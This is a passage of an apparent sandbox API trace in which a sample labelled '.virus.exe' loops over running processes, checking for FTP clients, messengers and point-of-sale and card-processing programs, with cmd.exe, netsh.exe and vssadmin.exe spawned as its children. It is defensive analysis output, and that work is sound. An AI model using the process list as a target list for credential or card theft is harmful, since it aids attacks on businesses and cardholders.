th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0064.708] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0064.709] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0064.710] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0064.711] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0064.712] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0064.713] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0064.714] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0064.715] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0064.716] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0064.717] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0064.718] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0064.719] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0064.720] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0064.721] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0064.722] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0064.723] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0064.724] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0064.725] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0064.726] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0064.726] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0064.727] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0064.728] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0064.729] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0064.730] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0064.731] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0064.873] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0064.874] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0064.912] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0064.935] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0064.936] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0064.937] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.938] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.939] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.940] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0064.940] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0064.941] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.942] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0064.943] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0064.943] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.944] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.945] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0064.946] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x7d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0064.946] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0064.947] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0064.948] CloseHandle (hObject=0x1bc) returned 1 [0064.948] Sleep (dwMilliseconds=0x1f4) [0065.803] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0065.809] Process32FirstW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.809] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0065.810] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0065.811] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.812] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0065.812] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.813] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0065.813] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0065.814] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0065.815] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0065.815] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.816] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.817] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.818] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.818] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.819] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0065.819] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.820] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.821] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0065.821] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0065.822] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0065.823] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.823] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0065.824] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0065.824] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0065.825] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0065.826] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0065.826] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0065.827] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0065.828] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0065.828] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0065.829] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0065.829] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0065.830] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0065.831] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0065.831] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0065.832] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0065.832] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, 